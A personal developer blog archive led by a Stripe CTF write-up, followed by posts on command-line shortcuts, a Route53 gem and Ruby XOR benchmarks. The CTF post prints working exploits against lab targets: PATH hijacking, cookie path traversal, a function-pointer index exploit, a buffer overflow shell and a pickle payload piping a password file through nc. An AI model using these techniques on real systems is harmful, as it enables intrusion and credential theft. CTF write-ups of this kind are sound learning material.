February 28, 2012

Stripe CTF

Code is available at https://github.com/pcorliss/Stripe-CTF

My solutions to the Stripe CTF challenge are as follows.

Note that in many cases the code isn't very robust or workable. But was
the minimum needed to complete the level.

Level 01

On observing that the system call within level01.c made an unchecked
call to 'date' without a full path specified I created a local date
file and set it to the local path. That file was simple shell script
containing 'cat /home/level02/.password'.

level01@ctf:/tmp/tmp.8N0qqvoaVu$ export PATH=/tmp/tmp.8N0qqvoaVu:$PATH
level01@ctf:/tmp/tmp.8N0qqvoaVu$ chmod a+x date
level01@ctf:/tmp/tmp.8N0qqvoaVu$ /levels/level01
Current time: kxlVXUvzv

Level 02

Level 2 uses the contents of the clients cookie to read a file without
escaping the contents. Via a browser I modified the cookie set by the
level to the following and the password was printed as part of the web
page.

Change cookie to ../../home/level03/.password
Or0m4UX07b

Level 03

I had never performed any sort of pointer arithmatic outside of an
introductory CS course. So this was certainly a challenge for me.
Outside of level 6 I think I spent more time on this level than any of
the other ones.

On reading level 3's source code I noticed that it was executing the
function via an array of function pointers. However the selection
mechanism used an argument which only checked for positive numbers >= 3
and not for number < 0.

After spending more time with it and gdb I realized you could select a negative
number which pointed to a specific location in the string buffer you
pass as an argument as well. After some fiddling I provided the memory
address of the deprected run function.

level03@ctf4:/tmp/tmp.uuCAtV5Uog$ /levels/level03 -21 'cat /home/level04/.password;'$'\x5b'$'\x87'$'\x04'$'\x08'
i5cBbPvPCpcP
sh: [: not found

Level 04

Like Level 03 I had never performed a buffer overflow before. I did some
searching and came across the following which amounts to a buffer
overflows for dummies
. With some tweaking I was
able to make it work for the level 4 binary. It works about 50% of the
time. From what I understand Linux uses some sort of stack randomization
to prevent this sort of attack. From reading other reports online there
is a way to get a dterministic solution but I didn't take the time to
expore that.

Offset:-994Address: 0xffa368fe
Executing
Buffer:57200
Buffer:0
$
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

After looking at the python web server and running it locally. I noticed
that it wasn't properly escaping user input and allowed a file
containing executable code to be written to. I pickled up a simple
exploit, started a netcat server listening and passed it through.

level05@ctf4:/tmp/tmp.7mKxYf6M1c$ nc -l 9333 &
[1] 24599
level05@ctf4:/tmp/tmp.7mKxYf6M1c$
level05@ctf4:/tmp/tmp.7mKxYf6M1c$ curl localhost:9020 -d "DATA; job: cos
system
(S'nc localhost 9333 < /home/level06/.password'
tR.'
tR.
"
SF2w8qU1QDj
{
"result": "Job timed out"
}
[1]+ Done nc -l 9333

Level 06

Of all the challenges this one
took the most time. I had heard of and felt I understood the
implementation of a timing attack but had no idea how hard it would be
to actually implement.

First I tried something written in ruby to test the time taken to run
the command, however I saw very little difference in how fast something
failed. Given that I was initially testing for the difference between 1
variable check and two and the precision of the ruby clock was only in
nanoseconds this failed right away.

Then I tried an implementation that already existed online simply to
see if they could work given that many of the servers were under heavy
load and actively running out of forks. But even the supposed solution
above failed to work for me as it seems to depend on the binary forking
and reporting failure almost immediately which I wasn't even able to
replicate locally.

Finally I settled on passing very large arguments to slow down the
evaluation, similar to the solution above. Then timed each char read in
microseconds via a small c program. The fork operation takes slightly
longer to run than a normal character check and therefore with
microsecond precision you can determine where the failure occurred.

This solution worked perfectly for me locally but I had to tune it on
stripe's servers in order to get it to work. I'm not sure if I was
reading the buffer incorrectly, the machine was overloaded or if my code
just runs in a way that I'm not expecting. Either way with some fine
tuning and extra sanity checks I was able to get it to run against the password file
and produce the answer.

level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ ruby ruby_wrapper.rb
Suffix: 130772
{"t"=>4}
Answer: t
{"h"=>5}
Answer: th
{"e"=>5}
Answer: the
{"f"=>4}
Answer: thef
{"l"=>5}
Answer: thefl
{"a"=>5}
Answer: thefla
{"g"=>5}
Answer: theflag
{"l"=>5}
Answer: theflagl
{"0"=>4}
Answer: theflagl0
{"e"=>4}
Answer: theflagl0e
{"F"=>4}
Answer: theflagl0eF
{"T"=>5}
Answer: theflagl0eFT
{"t"=>5}
Answer: theflagl0eFTt
{"I"=>1, "T"=>5}
Answer: theflagl0eFTtT
{"5"=>5}
Answer: theflagl0eFTtT5
{"o"=>5}
Answer: theflagl0eFTtT5o
{"i"=>5}
Answer: theflagl0eFTtT5oi
{"0"=>4}
Answer: theflagl0eFTtT5oi0
{"n"=>5, "r"=>1}
Answer: theflagl0eFTtT5oi0n
{"O"=>5}
Answer: theflagl0eFTtT5oi0nO
{"T"=>5}
Answer: theflagl0eFTtT5oi0nOT
{"x"=>5, "e"=>1}
Answer: theflagl0eFTtT5oi0nOTx
{"O"=>5}
Answer: theflagl0eFTtT5oi0nOTxO
{"5"=>5}
Answer: theflagl0eFTtT5oi0nOTxO5
{}
Answer: theflagl0eFTtT5oi0nOTxO5

level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ /levels/level06 /home/the-flag/.password theflagl0eFTtT5oi0nOTxO5
Welcome to the password checker!
........................
Wait, how did you know that the password was theflagl0eFTtT5oi0nOTxO5?

The Flag

You're able to login as the flag user but I couldn't find anything
special or a secret next level. Perhaps I didn't look hard enough?

the-flag@ctf5:/tmp/tmp.qCU4Sz2RhR$

August 30, 2011

Lightning Talk - Geekfest

As part of Geekfest, a weekly chicago area meetup I gave a 5-minute lightning talk on some basic command line shortcuts. My outline and the commands are below.

#Introduction
#I'm Philip Corliss a Software Developer here at Groupon, while pairing and my partner is using the keyboard I'll often throw out requests for them to tab-complete, pipe to grep, or ESC-. They usually look at me like I'm crazy. This talk is designed to quickly outline a common scenario of parsing a log file or some other formatted file.

#What's this file
ls

#Whoah, watch this, if you're not familiar with tab completion you should be, it will make your life ridiculously easy. I for one can only spell the first three letters of most words at this point
less post....

#Lets take a look, binary huh? weird
less postal_codes.csv.gz

#Oh yea it's a gzip file, meaning it's compressed we could decompress it, but for this example lets pretend this compressed file is 1Gb and a 1:10 compression ratio that's 10Gb of data, we don't want to wait for that. So lets just look at it inline. Way faster
gzip ...

#Decompresses directly to STDOUT, great for working with the file
gzip -dc postal_codes.csv.gz

#Whoa, too much data, that doesn't really help us
^C

#What's that, it's a Pipe, it pipes stdout from one program to another
gzip -dc postal_codes.csv.gz |

#First 15 lines then it exits, no extra resources or IO consumed and we get a quick sample of data
gzip -dc postal_codes.csv.gz | head -15

#Lets cut this up alternative syntax in awk for multi-char delimeters awk -F'|' '{ print $3 ":" $4}'
gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4

#Lets sort it, get the unique values and count them and then sort numerically the results
gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 | sort | uniq -c | sort -n

#Top 30 city/province pairs for canadian zipcodes, it takes some time so we'll cache it to a file
gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 | sort | uniq -c | sort -n | tail -30

#Lets see how long it takes, and lets write it to a file
time gzip -dc postal_codes.csv.gz | cut -d'|' -f3,4 | sort | uniq -c | sort -n > ~/my_sweet_report.txt

#Use ESC-. to bring up last arg
less ~/my_sweet_report.txt 

May 30, 2011

Route53 Updated

I've just updated the route53 gem to support Amazon's latest additions including weighted resource record sets as well as zone apex support allowing assignment of ELB instances to roots of domains. It's like allowing a CNAME of the naked domain to an ELB instance which was previously unavailable to folks using EC2.

This is probably the most successful tool I've put together to date. With 75 watchers and 10 forks on github as well as over 2000 downloads and counting from rubygems. I look forwarding to continue improving the project and keeping up with the new features as Amazon releases them.

https://github.com/pcorliss/ruby_route_53

May 28, 2011

Quick Update

It's been a while since I last posted. I decided talking about a job search while it was in progress was probably a bad move. After I finally got hired I found it more and more difficult to come home at night after a long commute and spend time working on my own projects. But after a recent move which significantly reduces my commute I'm ready to jump back in.

For those interested I started working as a Software Developer at Groupon in late January and I've been doing well. I turned down some great offers and interviews but in the end Groupon seemed to offer the biggest challenge. And in the lawyers made me say it category, while I do work for Groupon my opinions are my own as well as the code that I develop outside of the office.

Expect a new post about some upgrades to the route 53 gem to support some newly released features. As well as an rspec patch I put together to support running multiple specs via line ranges.

December 28, 2010

Ruby String XOR Optimizations

As part of the LazyRaid project I spent a non trivial amount of time trying to develop an algorithm to perform an XOR operation in ruby against two blocks of data read from files. My initial try was a pure ruby implementation and was based off of some forum posts. These worked fine for small strings but when used on blocks of data larger than a few kilobytes it took an unacceptably long time.
#Initial XOR method from forums - http://www.ruby-forum.com/topic/175539
#0.627 Mb/s (All times are based on a single core of my development machine - i5 750 @ 2.67GHz)
def xor1(second)
  self.bytes.zip(second.bytes).map { |a,b| (a^b).chr}.join
end
At this point I started investigating writing a C extension to give the process a boost and eventually succeeded after a night of furious hacking. As you can see in the benchmarks below this was about a 2000x speedup and I decided to move on to other features. It wasn't until after the project was finished that I started wondering what sort of speedup I could get using a pure ruby implementation and if it would even be comparable to my naive first stab at a ruby C extension. So I started trying different methods out.

This next method avoids the bytes method and accesses each string char directly then converts them to their ordinal values performs the XOR and pushes it on to the string. More than a 2x speedup from the first implementation.
#1.589 Mb/s
def xor2(second)
  s = ""
  [self.size,second.size].max.times do |i|
    s << ((self[i] || 0).ord ^ (second[i] || 0).ord)
  end
  return s
end
Further refinement involves using the zip method to combine the strings as byte arrays resulting in some marginal speedups.
#1.881 Mb/s
def xor3(second)
  s = ""
  #s.force_encoding("ASCII-8BIT")
  [self.size,second.size].max.times.zip(self.each_byte.to_a,second.each_byte.to_a) do |i,a,b|
    s << (a ^ b).chr
  end
  return s
end
Enter the pack and unpack methods. Seemingly the quickest way to convert the string into byte arrays.
#2.613 Mb/s
def xor4(second)
  s = []
  self.unpack('C*').zip(second.unpack('C*')) {|a,b| s.push( (a||0) ^ (b||0) ) }
  return s.pack('C*')
end
I attempted the operation with unpack options larger than 1 byte. This works great for large data sets that have sizes evenly divisible by 8 bytes. The 0-7 bytes at the end will be ignored. Some extra code could probably be written to account for this. As the speedup is substantial and this represents the fastest ruby implementation I was able to produce.
#13.369 Mb/s
def xor5(second)
  s = []
  self.unpack('Q*').zip(second.unpack('Q*')) {|a,b| s.push( (a||0) ^ (b||0) ) }
  return s.pack('Q*')
end
And finally a more robust method that properly takes into account all sizes and differing lengths of strings. This implementation is essentially the same as xor4.
#2.605 Mb/s
def xor6(second)
  self.length > second.length ? (string1=self;string2=second) : (string2=self;string1=second)
  s = []
  string1.unpack('C*').zip(string2.unpack('C*')) {|a,b| s.push( (a||0) ^ (b||0) ) }
  return s.pack('C*')
end
In the end my fastest ruby implementation was still about 2 orders of magnitude slower than the C solution. I'm sure there's more room for performance improvements and I hope someone out there takes a look at this and finds a more optimal ruby only solution. Until then I'll likely start looking to C more often when I need to do some performance optimization. You can see the code used in this post as well as the C libraries used on github at https://github.com/pcorliss/Ruby-String-XOR-Optimizations

Note: Towards the end of preparing this post I came across the ruby gem fast_xor  which is based on C like my solution. However fast_xor stands out since it runs at 5x the speed my implementation does. It's included in the benchmarks below and you should probably implement it if you're considering doing any non-trivial XOR work in your ruby application. Otherwise xor6 should be suitable for most use cases.
pcorliss@hawaii:~/projects/ruby_benchmarks$ ruby benchmark.rb 
Ensuring parity calculation is correct.
xor1:1d9d0030fe31415e1fa9dd8b7b782315
xor2:1d9d0030fe31415e1fa9dd8b7b782315
xor3:1d9d0030fe31415e1fa9dd8b7b782315
xor4:1d9d0030fe31415e1fa9dd8b7b782315
xor5:1d9d0030fe31415e1fa9dd8b7b782315
xor6:1d9d0030fe31415e1fa9dd8b7b782315
xorc:1d9d0030fe31415e1fa9dd8b7b782315
xor!:1d9d0030fe31415e1fa9dd8b7b782315
Performing Benchmarks
      user     system      total        real
xor1 10 times: 79.040000   0.440000  79.480000 ( 79.689313)
xor2 10 times: 31.410000   0.000000  31.410000 ( 31.467753)
xor3 10 times: 26.280000   0.240000  26.520000 ( 26.583489)
xor4 10 times: 18.690000   0.400000  19.090000 ( 19.136069)
xor5 10 times:  3.720000   0.020000   3.740000 (  3.740085)
xor6 10 times: 18.650000   0.500000  19.150000 ( 19.191539)
xorc 10 times:  0.040000   0.000000   0.040000 (  0.041738) #My C implementation
xor! 10 times:  0.000000   0.000000   0.000000 (  0.011803) #fast_xor gem
xorc 1000 times:  4.370000   1.390000   5.760000 (  5.785931) #My C implementation
xor! 1000 times:  1.160000   0.000000   1.160000 (  1.170025) #fast_xor gem

December 27, 2010

Code Coverage and Ruby Speed - Monday

This week we'll be going in a slightly different direction. I'll be spending it going back and refactoring some previous projects to include test cases and do some refactoring, specifically the route 53 gem  which has seen some moderate popularity since it was released as evidenced by the number of followers on the github page as well as the number of downloads from rubygems.

https://rubygems.org/gems/route53 (254 downloads)
https://github.com/pcorliss/ruby_route_53 (25 watchers, 5 forks)

This is in addition to a post I wanted to write on ruby and the great lengths you have to go to sometimes to get reasonable speeds. Specifically I'll go in depth to the speed boost gained from writing a C extension to the LazyRaid project to perform XORs. See this post for the original mention of the problem.

The Future of 50projects

Over the last 5 months I've done a lot of work that I'm proud of. However the revenue and traffic has been far lower than even my most conservative estimates. I think I'm a decent software developer but I am not a marketer. At this point my finances are stable enough that I could continue doing 50projects for the entire year and then some but I just don't feel comfortable not collecting a paycheck. With that said I'll be starting a job search at the beginning of the new year. I've already put together a short of list of companies in the Chicago area I'll be pursuing. In addition I'm open to entertaining contract software development opportunities so please feel free to contact me if you know someone that is looking for a developer in the Chicago area or is open to telecommuting and/or light travel.

I'll post my resume shortly but my linkedin profile is a good approximation.

Until I accept a position I'll continue to do weekly projects and post the results on 50projects but the scope may be reduced as I go on interviews. Afterwards I may move to a more relaxed style of 2-4 week projects spread out over more than one year. But I fully intend to continue posting updates and releasing projects.